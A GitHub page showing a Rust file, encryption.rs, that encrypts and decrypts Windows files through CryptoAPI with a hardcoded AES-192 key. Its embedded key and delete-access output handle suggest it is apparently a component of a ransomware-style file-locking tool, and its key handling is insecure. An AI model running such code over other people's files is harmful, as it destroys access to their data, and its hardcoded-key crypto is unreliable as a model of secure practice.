-
Notifications
You must be signed in to change notification settings - Fork 48
/
encryption.rs
318 lines (288 loc) · 9 KB
/
encryption.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
#[cfg(windows)]
extern crate winapi;
use std::ffi::CString;
use std::ptr::null_mut;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::fileapi::{CreateFileA, ReadFile, WriteFile, OPEN_ALWAYS, OPEN_EXISTING};
use winapi::um::handleapi::CloseHandle;
use winapi::um::wincrypt::{
CryptAcquireContextA, CryptDecrypt, CryptDestroyKey, CryptEncrypt, CryptExportKey, CryptGenKey,
CryptImportKey, CryptReleaseContext, CALG_AES_192, CRYPT_EXPORTABLE, CRYPT_VERIFYCONTEXT,
HCRYPTKEY, HCRYPTPROV, PLAINTEXTKEYBLOB, PROV_RSA_AES,
};
use winapi::um::winnt::{
DELETE, FILE_ATTRIBUTE_NORMAL, FILE_READ_DATA, FILE_SHARE_READ, FILE_WRITE_DATA, HANDLE,
};
static BLOB_BUFFER: [u8; 36] = [
8, 2, 0, 0, 15, 102, 0, 0, 24, 0, 0, 0, 8, 68, 217, 142, 222, 209, 85, 216, 44, 88, 2, 170,
248, 210, 84, 119, 53, 196, 64, 96, 252, 205, 231, 229,
];
pub fn encrypt(source_file: CString, dest_file: CString) -> bool {
let mut h_key: HCRYPTKEY = 0usize; // key
let mut h_crypt_prov: HCRYPTPROV = 0usize;
unsafe {
// acquiring a cryptographic provider
if CryptAcquireContextA(
&mut h_crypt_prov,
null_mut(),
null_mut(),
PROV_RSA_AES,
CRYPT_VERIFYCONTEXT,
) == 0
{
println!(
"Error during CryptAcquireContext! Errror code: {}",
GetLastError()
);
return false;
} else {
println!("A cryptographic provider has been acquired.");
}
// import AES key
if CryptImportKey(
h_crypt_prov,
BLOB_BUFFER.as_ptr(),
BLOB_BUFFER.len() as u32,
0,
0,
&mut h_key,
) == 0
{
println!("Import fail {:?}", GetLastError());
return false;
} else {
println!("Import sucessful. Key is 0x{:x}", h_key);
}
//---------------------------------------------------------------
// Determine the number of bytes to encrypt at a time.
// This must be a multiple of 192 since we're doing AES-192.
let block_len: u32 = 960;
let buffer_len: u32 = 960;
//---------------------------------------------------------------
// Allocate memory.
let mut pb_buffer: Vec<u8> = Vec::new();
pb_buffer.resize(buffer_len as usize, 0u8);
println!("Memory has been allocated for the buffer.");
let source_handle: HANDLE = CreateFileA(
source_file.as_ptr(),
FILE_READ_DATA,
FILE_SHARE_READ,
null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
null_mut(),
);
let dest_handle: HANDLE = CreateFileA(
dest_file.as_ptr(),
FILE_WRITE_DATA | DELETE,
FILE_SHARE_READ,
null_mut(),
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
null_mut(),
);
let mut eof = 0;
let mut count = 0;
while eof == 0 {
if ReadFile(
source_handle,
pb_buffer.as_ptr() as *mut _,
block_len,
&mut count,
null_mut(),
) == 0
{
println!("Error reading");
break;
}
if count < block_len {
eof = 1;
}
if CryptEncrypt(
h_key,
0,
eof,
0,
pb_buffer.as_ptr() as *mut u8,
&mut count,
buffer_len,
) == 0
{
println!("Fail to encrypt 0x{:x}", GetLastError());
break;
}
if WriteFile(
dest_handle,
pb_buffer.as_ptr() as *const _,
count,
&mut count,
null_mut(),
) == 0
{
println!("Fail to write");
break;
}
}
CloseHandle(source_handle);
CloseHandle(dest_handle);
CryptDestroyKey(h_key);
CryptReleaseContext(h_crypt_prov, 0);
}
true
}
pub fn _decrypt(source_file: CString, dest_file: CString) -> bool {
let mut h_key: HCRYPTKEY = 0usize; // key
let mut h_crypt_prov: HCRYPTPROV = 0usize;
unsafe {
if CryptAcquireContextA(
&mut h_crypt_prov,
null_mut(),
null_mut(),
PROV_RSA_AES,
CRYPT_VERIFYCONTEXT,
) == 0
{
println!("Error during CryptAcquireContext!");
println!("Errror code: {}", GetLastError());
return false;
} else {
println!("A cryptographic provider has been acquired.");
}
if CryptImportKey(
h_crypt_prov,
BLOB_BUFFER.as_ptr(),
BLOB_BUFFER.len() as u32,
0,
0,
&mut h_key,
) == 0
{
println!("Import fail {:?}", GetLastError());
return false;
} else {
println!("Import sucessful. Key is {}", h_key);
}
let src_handle: HANDLE = CreateFileA(
source_file.as_ptr(),
FILE_READ_DATA,
FILE_SHARE_READ,
null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
null_mut(),
);
let dest_handle: HANDLE = CreateFileA(
dest_file.as_ptr(),
FILE_WRITE_DATA,
FILE_SHARE_READ,
null_mut(),
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
null_mut(),
);
let block_len: u32 = 960;
let buffer_len: u32 = 960;
let mut EOF = 0;
let mut count = 0;
let mut pb_buffer: Vec<u8> = Vec::new();
pb_buffer.resize(buffer_len as usize, 0u8);
while EOF == 0 {
if ReadFile(
src_handle,
pb_buffer.as_ptr() as *mut _,
block_len,
&mut count,
null_mut(),
) == 0
{
println!("Error reading 0x{:x}", GetLastError());
break;
}
println!("count {}", count);
if count < block_len {
EOF = 1;
}
if CryptDecrypt(h_key, 0, EOF, 0, pb_buffer.as_mut_ptr(), &mut count) == 0 {
println!("Fail to decrypt 0x{:x}", GetLastError());
break;
}
if WriteFile(
dest_handle,
pb_buffer.as_ptr() as *const _,
count,
&mut count,
null_mut(),
) == 0
{
println!("Fail to write");
break;
}
}
CryptDestroyKey(h_key);
CryptReleaseContext(h_crypt_prov, 0);
CloseHandle(src_handle);
CloseHandle(dest_handle);
}
true
}
pub fn _generate_key() -> Vec<u8> {
let mut h_key: HCRYPTKEY = 0usize; // key
let mut h_crypt_prov: HCRYPTPROV = 0usize;
let key_length = 0x00C00000; // upper 16 bits = 192 bits
let mut blob_buff: Vec<u8> = Vec::new();
unsafe {
if CryptAcquireContextA(
&mut h_crypt_prov,
null_mut(),
null_mut(),
PROV_RSA_AES,
CRYPT_VERIFYCONTEXT,
) == 0
{
println!(
"Error during CryptAcquireContext! Errror code: {}",
GetLastError()
);
return blob_buff;
} else {
println!("A cryptographic provider has been acquired.");
}
if CryptGenKey(
h_crypt_prov, // hProv, handle to key container
CALG_AES_192, // Algid, algorithm ID
key_length | CRYPT_EXPORTABLE, // dwFlags, specifies the type of key generated
&mut h_key, // phKey, mutable pointer to our key
) == 0
{
println!("Error while generating key");
return blob_buff;
} else {
println!("Finish generating key. Our key is 0x{:x}", h_key);
}
let mut blob_length: u32 = 0;
if CryptExportKey(h_key, 0, PLAINTEXTKEYBLOB, 0, null_mut(), &mut blob_length) == 0 {
println!("Error while finding blob_length");
return blob_buff;
} else {
println!("Blob buffer has the length of {} bytes", blob_length);
}
blob_buff.resize(blob_length as usize, 0u8);
if CryptExportKey(
h_key,
0,
PLAINTEXTKEYBLOB,
0,
blob_buff.as_mut_ptr(),
&mut blob_length,
) == 0
{
println!("Error while exporting key");
return blob_buff;
} else {
println!("Done exporting");
}
CryptDestroyKey(h_key);
CryptReleaseContext(h_crypt_prov, 0);
}
blob_buff
}